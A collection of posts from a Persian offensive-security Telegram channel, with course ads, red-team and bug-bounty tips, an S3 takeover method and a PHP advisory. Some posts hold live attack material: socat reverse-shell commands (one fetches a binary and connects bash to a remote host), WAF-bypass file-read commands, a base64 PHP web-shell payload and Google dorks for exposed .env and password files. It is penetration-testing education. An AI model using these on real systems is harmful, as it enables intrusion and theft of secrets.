6712
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.
🔥 یک سناریوی واقعی از عملیات Red Team؛ شما چطور از AV و EDR عبور میکنید؟
فرض کنید در جریان یک مأموریت رسمی و مجاز Red Team، به سازمانی وارد شده‌اید که از راهکارهای امنیتی پیشرفته، از جمله جدیدترین محصولات EDR و Antivirus استفاده میکند.
هدف مأموریت مشخص است: ارزیابی توانایی تیم دفاعی سازمان در شناسایی فعالیت های تهاجمی و بررسی اینکه آیا یک اتکر میتواند بدون ایجاد هشدار مؤثر، به اهداف موردنظر خود دسترسی پیدا کند یا خیر.
اما یک چالش جدی وجود دارد:
راهکارهای امنیتی صرفاً به Signature Detection متکی نیستند؛ آنها از Behavioral Analysis، Heuristic Detection و سایر مکانیزم های تشخیص نیز استفاده میکنند.
حالا سؤال اینجاست:
اگر شما عضو تیم Red Team باشید، برای ارزیابی و به چالش کشیدن این مکانیزم های دفاعی از چه تکنیک ها و رویکردهایی استفاده میکنید؟
🎯 هدف این بحث، تبادل تجربه فنی است؛ نه صرفاً معرفی ابزارها.
لینک گروه جهت پیوستن :
@TryHackBoxGroup
🆔@TryHackBoxOfficial
🆔@AiTHB
🆔@RadioZeroPod
📌 دوره: راهنمای جامع ابزار Mimikatz
💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت میکنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد.
قدیمی شدن یک ابزار لزوماً به معنای بی استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم های داخلی، درک تکنیک ها و توانایی سفارشی سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آنها دارد.
فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می کند.
📌 توضیحات کامل
◽مدرس : مهندس سجاد تیموری
◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه
◻ دوره : آفلاین
⭕ دوره دارای گروه پشتیبانی می باشد.
💰 قیمت : ۲,۰۰۰,۰۰۰ تومان
💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان
📌 جهت خرید،به ایدی زیر پیام دهید:
@ThbxSupport
Group
@TryHackBox
🔥 سری Bypass برای باگ هانترها
قسمت ۴
Crazy WAF Bypass:
cat /etc/hosts - WAF رو trigger میکنه
rev /etc/hosts | rev
od -An -c /etc/hosts | tr -d ' '
cat $HOME/../../etc/hosts
cat ${PWD}/../../../etc/hosts
grep "" /etc/hosts
cut -c1- /etc/hosts
paste /etc/hosts
دوستان بخاطر شرایط ناپایدار مجبورا و ناخواسته مجبور شدیم یک کانال توی بله بالا بیاریم ، برای اینکه از آموزش و خرید کتابهای جدید جا نمونید اگه این بله دارید ما را دنبال کنید فعلا فعالیت همینجاست ولی از جایی که شرایط کشور معلوم نیست چی به چیه احتمال قطعی اینترنت هست .
کانال ما در بله
https://ble.ir/TryHackBox
روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد.
۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران
@TryHackBox
⚡لیستی از ۱۰۰ آسیب پذیری وب
@TryHackBox
#آسیب_پذیری
نکات تخصصی ردتیمینگ | بخش اول: Password Spraying
در حمله‌ی Password Spraying، به‌جای اینکه چندین پسورد مختلف رو روی یک حساب امتحان کنیم، چند پسورد رایج رو روی تعداد زیادی حساب تست میکنیم. هدف اینه که ببینیم آیا می شه با استفاده از رمزهای قابل حدس، به یکی از حساب های سازمان دسترسی پیدا کرد یا نه.
چند نکته که موقع بررسی این تکنیک باید بهشون توجه کنیم:
۱. انتخاب هدف
همه ی حساب ها به یک اندازه مهم نیستن. حساب هایی که دسترسی بیشتری دارن یا به اطلاعات حساس وصل هستن، از نظر امنیتی اهمیت بالاتری دارن.
۲. بررسی الگوهای رمز عبور
رمزهای رایج، پسوردهای پیش فرض و رمزهایی که بر اساس اسم سازمان یا اطلاعات عمومی انتخاب میشن ، میتونن امنیت حساب ها رو به خطر بندازن. شناخت این الگوها کمک می کنه نقاط ضعف احتمالی رو بهتر بررسی کنیم.
۳. شناسایی حساب های معتبر
باید بدونیم چه حساب هایی در محدوده‌ی تست قرار دارن و سامانه در برابر نام کاربری معتبر و نامعتبر چه واکنشی نشون میده. این بررسی می تونه اطلاعات مفیدی درباره ی نحوه ی پیاده سازی احراز هویت در اختیارمون بذاره.
۴. زمان بندی تست
زمان اجرای تست میتونه روی نحوه‌ی شناسایی فعالیت ها تأثیر بذاره. بهتره زمان بندی از قبل مشخص باشه تا هم شرایط واقعی سازمان در نظر گرفته بشه و هم تست باعث اختلال در سرویس ها نشه.
۵. بررسی آدرس IP و منابع اتصال
تغییر آدرس IP لزوماً باعث مخفی موندن فعالیت نمیشه. تیم دفاعی میتونه رویدادهای ورود رو از منابع مختلف کنار هم قرار بده و با بررسی الگوهای مشترک، فعالیت مشکوک رو تشخیص بده.
۶. فاصله ی بین تلاش های ورود
تعداد درخواست ها و فاصله‌ی زمانی بین اون ها میتونه روی عملکرد مکانیزم های دفاعی تأثیر بذاره. در تست نفوذ باید بررسی کنیم که سامانه چطور درخواست های پرتکرار رو مدیریت می کنه و آیا فعالیت های مشکوک به درستی ثبت میشن یا نه.
۷. بررسی سیاست قفل حساب
باید بدونیم بعد از چند تلاش ناموفق، حساب محدود یا قفل میشه و این محدودیت چه مدت ادامه داره. تنظیم نادرست این سیاست میتونه هم امنیت حساب ها رو کاهش بده و هم زمینه ی اختلال در دسترسی کاربران رو فراهم کنه.
۸. توجه به حساب‌های حساس و دارای دسترسی بالا
حساب های ادمین و حساب هایی که دسترسی ویژه دارن، اهمیت بیشتری دارن؛ چون در صورت دسترسی غیرمجاز، پیامدهای جدی تری برای سازمان ایجاد میکنن. بررسی این حساب ها باید با مجوز مشخص و کنترل کافی انجام بشه.
یه نکته ی مهم: در Password Spraying فقط بحث این نیست که آیا یک پسورد جواب میده یا نه. باید ببینیم سامانه چقدر خوب از حساب ها محافظت میکنه، چه اطلاعاتی در لاگ‌ها ثبت میشه و تیم بلوتیم چقدر توانایی تشخیص این نوع فعالیت رو داره.
یک ردتیمر خوب فقط به اجرای تکنیک فکر نمیکنه؛ باید بدونه فعالیتش چه ردپایی باقی میذاره و تیم دفاعی چطور میتونه اون رو شناسایی کنه.
✍ کاوه.م
@KavehOffSec
#تست_نفوذ #ردتیمینگ #تیم_قرمز
اگر می خواهید شل ترمینال خود را ویرایش کنید، از شل fish استفاده کنید!
نصب شل
fish > apt install fish
~/.config/fish/config.fish
#shell
functions -e fish_right_prompt
function fish_prompt
set_color $fish_color_cwd
echo -n (path basename $PWD)
set_color normal
echo -n ' ⚡🌒☩Dakr❯ '
end
کدوم سفارشی سازی fish shell رو برای هکینگ تست کردین که workflowتون رو سرعت داد ، کامنت کنید .
دوستانی که علاقه مندان به تدریس دوره های پایه مقدماتی در زمینه امنیت سایبری و شبکه و لینوکس هستند و از جمله دوره های اوسینت با ایدی زیر با ما در تماس باشید :
@ThbxSupport
یکی از methodologyهای مخفیم رو دراپ میکنم
🌀 Takeover AWS S3 Bucket
🔥 مثل حرفه‌ای ها فوق العاده ساده اما خیلی موثر
✨ قبل از هرچیزی بیایم کل سناریو رو بفهمیم...
👀 ۱. کدوم bucketها آسیب‌پذیر برای takeover هستن؟
👀 ۲. تاثیر واقعی takeover یه S3 bucket چیه؟
👀 ۳. چطور S3 bucketهای potentially vulnerable رو پیدا کنیم؟
👀 ۴. چطور validate کنیم که bucket واقعاً توسط تارگت استفاده شده؟
⚡ ۱. Bucket های آسیب‌پذیر:
اگه تارگت قبلاً از یه S3 bucket استفاده کرده و deleteش کرده اما subdomain (CNAME) هنوز به amazonaws.com اشاره میکنه این فرصت عالی takeoverه.
⚡ ۲. تاثیر:
اگه bucket هنوز در backend یا services reference شده باشه، و تارگت فراموش کرده removeش کنه، ممکنه حتی RCE به دست بیاری. در بعضی موارد، میتونه به full system compromise منجر بشه.
⚡ ۳. پیدا کردن Bucketها (با استفاده از FOFA):
اینجا چطور با FOFA شکارشون میکنم:
🧠 FOFA Dork:body="specified bucket does not exist" && (host="target.com" || host="target_domain_name_only") && port="443"
🔍 این dork subdomainهایی رو میده که به bucketهای missing یا deleted اشاره میکنن. FOFA fingerprints رو در سراسر وب index میکنه حتی برای منابع deleted پس goldmine برای پیدا کردن assetهای exposedی که تارگت فراموش کرده.
⚡ ۴. Validate کردن Ownership:
🔎 روش ۱: GitHub Recon
از GitHub dorkها مثل این استفاده کن:org:target_org "target.s3.amazonaws.com"
یا ساده جستجو کن:"target.s3.amazonaws.com"
ممکنه hardcoded linkها، past commitها یا config fileهایی پیدا کنی که اثبات کنه تارگت از این bucket استفاده میکرده.
🌐 روش ۲: DNS History (همیشه موثر نیست، اما ارزش امتحان داره)
چک کن اگه bucket برای static website hosting configure شده بوده.
از این ابزارها برای چک historical DNS records استفاده کن:
https://securitytrails.com
https://dnsdumpster.com
https://viewdns.info
https://www.robtex.com
کدوم FOFA dork رو برای S3 takeover تست کردی که subdomain dangling شکار کرد؟ تجربت رو کامنت کن.
🔥 چک لیست امنیت هوش مصنوعی
@TryHackBox
#چک_لیست #هوش_مصنوعی
⚡ سری Bash برای باگ هانترها
قسمت ۲
چندین folder رو با one-liner بساز:
mkdir {dev,test,prod}touch {file1,file2,file3}.txtseq -w 1 10 | xargs -I {} touch file{}.txtبا pro Bash commandها bug huntingت رو boost کن must برای هر hacker!
فراموش نکن react کن 🔥
⚠️ موج بعدی جنگ به زودی شروع میشه .
نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش بینی قطعی نیست؛ بااین حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.
از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:
۱. ارتباط و دسترسی به اینترنت
راه های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.
شماره تلفن های مهم را خارج از گوشی نیز یادداشت کنید.
اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی مدت برنامه جایگزین داشته باشید.
۲. امنیت اطلاعات و دارایی های دیجیتال
از فایل ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.
نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.
دسترسی به حساب های مهم، ایمیل بازیابی و روش های احراز هویت دومرحله‌ای را بررسی کنید.
مراقب اخبار تأیید نشده باشید.
۳. آمادگی های ضروری در منزل
آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک های اولیه را برای چند روز در دسترس داشته باشید.
چراغ قوه، باتری یا پاوربانک شارژ شده آماده کنید.
مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید.
۴. برنامه ریزی برای شرایط اضطراری
با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.
مسیرهای خروج و مکان های امن نزدیک محل زندگی یا کار را بشناسید.
۵. مدیریت اخبار و تصمیم ها
خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.
تصمیم های مهم را صرفاً بر اساس پیام های ناشناس یا پیش‌بینی های تأییدنشده نگیرید.
اگر برای کار یا فعالیت های روزمره به زیرساخت های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید.
این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم های ضروری را با آرامش و آمادگی بیشتری بگیریم.
هیچ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.
مراقب خودتان و عزیزانتان باشید.
— TryHackBox
اPass the Hash هنوز هم بعد از این همه سال کار میکنه.
چرا؟ چون بخشی از معماری احراز هویت ویندوز هست و کامل پچ نمیشه.
به جای کرک کردن پسورد، مستقیم با NTLM Hash احراز هویت میکنی.
ادامه رشته توییت
https://x.com/KavehxNet/status/2110953930486083996
🧠 نکته باگ بانتی حملات Denial of Wallet 💸
شنیدی Denial of Service رو... اما Denial of Wallet چی؟
🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.
🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.
💥 تارگت‌های رایج در برنامه‌های باگ بانتی:
Cloud Functions (مثل AWS Lambda، Azure Functions)
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.
Email/SMS APIs
مثال: feature signup/login OTP via Twilio یا SendGrid می فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.
AI Chatbots (مثل OpenAI، Claude APIs)
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.
💡 الهام واقعی از دنیای واقعی
طبق مقاله PortSwigger:
"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."
تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.
🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:
⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت های abuse email/SMS OTP یا notification
✅ نکته‌ها قبل از Report:
⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap
💰 این باگ‌ها اغلب plain sight مخفی ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.
کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.
📌 دعوت به همکاری برای تدریس مینی دوره Network Reconnaissance
مجموعه TryHackBox برای تولید و انتشار مینی دوره تخصصی Network Reconnaissance & Service Enumeration از متخصصان و فعالان حوزه امنیت شبکه و تست نفوذ دعوت به همکاری میکند.
هدف این مینی دوره، آموزش عملی شناسایی زیرساخت شبکه، کشف هاست های فعال، اسکن پورت ها، شناسایی سرویس ها و استخراج اطلاعات فنی از سرویس های شبکه در محیط آزمایشگاهی است.
📌 سرفصل ها دوره در فایل موجود است .
📖 نقشه راه شروع باگ بانتی برای مبتدیان
اگر می‌خواهید باگ بانتی را از پایه شروع کنید، صرفاً یادگیری ابزارها کافی نیست.
در این نقشه راه، مسیر پیشنهادی از پایه‌های فنی و منابع یادگیری تا تمرین، پلتفرم‌های Bug Bounty، نوشتن گزارش و نکات مهم شروع این مسیر را مرور کرده‌ایم.
برای مشاهده به لینکدین مراجعه کنید :
https://lnkd.in/p/dtB9MXg5
اگر بعد از این نقشه راه دنبال یک منبع عملی‌تر برای شروع هستید، کتاب «شکار عملی باگ بانتی» THB هم میتواند نقطه شروع مناسبی باشد.
📩 @THBxSupport
🆔 @TryHackBox
🆔 @TryHackBoxOfficial > RoadMap
🆔 @AiTHB > Ai Security
🆔 @RadioZeroPod > Podcast
📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters
مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می کند.
هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.
همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می شود.
📌 سرفصل ها دوره در فایل موجود است .
🔥 سری Bash برای باگ هانترها
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
rlwrap -cAr nc -lvnp <port>
یا
rlwrap -f. -r nc -lnvp <port>
socat file:tty,raw,echo=0 tcp-listen:<port>
socat file:$(tty),raw,echo=0 tcp-listen:<port>
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
ps aux | grep socat
Kill -9 socat <PID>
کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟
🔥 reverse shell nc basicت رو به pro interactive shell تبدیل کن
⚡ سری Bash برای باگ هانترها 😎
قسمت ۱
از python برای Spawn کردن TTY shell استفاده کن:
python3 -c 'import pty; pty.spawn("/bin/bash")'export TERM=xterm-256color
PS1='$$\033[01;32m$$\u@\h $$\033[01;34m$$\w$$\033[01;31m$$$$$\033[00m$$ '
export EDITOR=nano
alias mm=clear
alias ls='ls --color=auto'
alias ll='ls -la --color=auto'
alias grep='grep --color=auto'
stty raw -echo; fg
بچه‌ها، آیا همه‌تون یه alternative smart به nc می‌خواین که بتونین nano، vim استفاده کنین و full keyboard control داشته باشین (مثل Ctrl+C و غیره)؟
📕 ردتیمینگ عملی | استراتژی‌های آزموده‌شده در میدان نبرد سایبری
هر متخصص امنیتی میگوید: «مثل یک مهاجم فکر کن.»
🔥 سری Bypass برای باگ هانترها
قسمت ۲
Crazy WAF Bypass: cat /etc/hosts - WAF رو trigger میکنه
xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null
کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن.
کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟
🎙️ Zero Talk | گفتگوهایی از جنس تجربه
📌 امنیت فقط یاد گرفتن ابزارها و خوندن کتابها نیست.
📌 گاهی یک گفت‌وگو با کسی که این مسیر رو از نزدیک تجربه کرده، میتونه چیزهایی بهت یاد بده که توی هیچ دوره‌ای پیدا نمیکنی.
📌 در Zero Talk درباره مسیر ورود به دنیای امنیت، تجربه‌های واقعی، چالشهای کاری، اشتباهات و چیزهایی صحبت میکنیم که معمولاً کمتر درباره‌شون حرف زده میشه.
⭕ تا امروز ۱۵ قسمت از این گفتگوها منتشر شده.
🎧 شاید بعضی از جواب‌هایی که دنبالشون هستی، توی یکی از همین گفتگوها باشه.
📌 در RadioZeroPod درباره موضوعات مختلف دنیای امنیت صحبت میکنیم؛ از داستان هکرها و پرونده‌های واقعی گرفته تا OSINT، مهندسی اجتماعی،حریم خصوصی، تهدیدات سایبری، هوش مصنوعی و موارد دیگه ... .
📌 رادیو زیرو پاد رو از دست نده.
لینک عضویت برای 100 نفر از عزیزان :
🔗/channel/+mMPojNZ97Es2MTJk
ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود
تصور کنید یک آسیب پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش ها برای سوءاستفاده از آن به راه می افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به روزرسانی ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده اند. در این گزارش، امتیاز شدت هر دو آسیب پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش ها برای exploitation از آن ها صحبت شده است.
توجه: پیش از استناد به شناسه ها، امتیاز ها، آمار حملات و نسخه های اصلاح شده، اطلاعیه های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.
🔍 مشکل دقیقاً چیست؟
بر اساس اطلاعات گزارش شده، این دو آسیب پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می تواند زمینه ساز رفتار غیرمنتظره یا اجرای حمله شود.
خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.
🎯 چه کسانی باید نگران باشند؟
اگر سرور یا وب سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط های زیر اهمیت داشته باشد:
Apache با mod_php
Nginx با PHP-FPM
LiteSpeed و FrankenPHP
وب‌سایت های WordPress و سایر برنامه های مبتنی بر PHP
البته استفاده از این فناوری ها به تنهایی به معنای آسیب پذیر بودن سرور نیست؛
🛡️ چه کارهایی باید انجام دهید؟
۱. نسخه PHP را بررسی کنید.
php -v
🔖 ا Account Takeover از طریق ایمیل
شما چه روش هایی بلدید ؟
یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی.
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.
۱. Exposed.env Files
intitle:"Index of" ".env"
"DB_PASSWORD" filetype:env
"APP_ENV=local" | "DB_HOST=127.0.0.1"
۲. Exposed SQLite Databases
intitle:"Index of" ".sqlite"
intitle:"Index of" "db.sqlite"
filetype:sqlite | filetype:sqlite3 | filetype:db
۳. Misconfigured Laravel یا Public Folder Exposure
inurl:/public/.env
inurl:/public/db.sqlite
intitle:"Index of" inurl:/public/
۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive)
intitle:"Index of" "backup"
intitle:"Index of" "config"
ext:sql | ext:bak | ext:old | ext:backup
۵. Generic Index Dump
intitle:"Index of /" +passwd
intitle:"Index of /" +passwords
کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡
LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:
مثال param vulnerable:
page=../../../../etc/passwd
echo '<?php system($_GET["cmd"]);?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن
نکته باگ بانتی PDF Keyword Crawler
شکار اطلاعات حساس در PDFهای عمومی؟
🧩 از PDF Keyword Crawler add-on فایرفاکس استفاده کن
📁 urls.txtت رو لود کن (با لینک‌های.pdf)
🔑 خودکار برای keywordهای حساس اسکن میکنه!
🧠 عالی برای کشف leaked secrets، creds یا internal docs.
👉 Add-on: https://addons.mozilla.org/es-AR/firefox/addon/pdf-keyword-crawler/
https://ott3rly.com/mass-hunting-for-leaked-sensitive-documents/
کدوم keyword رو در PDF Crawler اضافه کردی که secret leakشده شکار کرد؟ تجربت رو کامنت کن
ا🔎 IDOR را با عوض کردن ID اشتباه نگیرید
خیلی ها وقتی یک Endpoint مثل این میبینند:
GET /api/users/123
GET /api/users/124
«آیا میتوانم ID را تغییر بدهم؟»
🧨 WEB PENTESTING FIELD NOTES #03
یک اشتباه رایج در تست XSS
یه چیزی توی Search Box وارد میکنی.
بر میگرده توی صفحه.
بعد اولین فکری که میاد:
«خب، حالا یه Payload بزنیم ببینیم اجرا میشه یا نه.»
اینجا دقیقاً جاییه که خیلی از تست ها اشتباه شروع میشن.
قبل از Payload، من معمولاً یه سؤال ساده‌تر می‌پرسم:
این Input دقیقاً کجا قرار گرفته؟
داخل HTML؟
داخل یک Attribute؟
داخل JavaScript؟
توی URL؟
یا اصلاً JavaScript سمت Client داره این مقدار رو از جایی می‌خونه و وارد DOM میکنه؟
چون این:
<input>
به تنهایی چیزی بهت نمیگه.
مهم اینه که Application و Browser باهاش چه رفتاری میکنن.
یه سناریوی ساده:
تو Search میزنی:
THB
صفحه هم نشون میده:
Search results for: THB
خوبه.
حالا به جای اینکه سریع بری سراغ Payloadهای مختلف، مسیر مقدار رو دنبال کن.
Input → Source → Data Flow → Sink → Context → Execution
اگر بفهمی داده از کجا وارد شده و نهایتاً به کجا رسیده، تازه می فهمی باید دنبال چه چیزی بگردی.
حالا سه حالت اصلی XSS رو از هم جدا کن:
🔹 Reflected XSS
اInput از Request میاد و در Response برمیگرده.
🔹 Stored XSS
اInput ذخیره میشه و بعداً وقتی یک User دیگه صفحه رو می‌بینه، Render میشه.
🔹 DOM-Based XSS
این یکی جالب تره.
ممکنه Server اصلاً چیزی از Payload نبینه.
جاوااسکریپت سمت Client داده رو از یک Source میگیره و به یک Sink خطرناک میرسونه.
یعنی اگر فقط Responseهای Server رو نگاه کنی، ممکنه کل داستان رو از دست بدی.
حالا یه سؤال برای خودت:
فرض کن مقدار زیر رو وارد کردی:
THB123
و این مقدار داخل HTML صفحه ظاهر شد.
آیا همین به معنی XSS Vulnerability هست؟
اگر جوابت «بله» یا «نه» هست، دلیلش رو هم بنویس.
ببینیم چند نفر واقعاً Context رو بررسی میکنن، نه فقط دنبال Payload می گردن.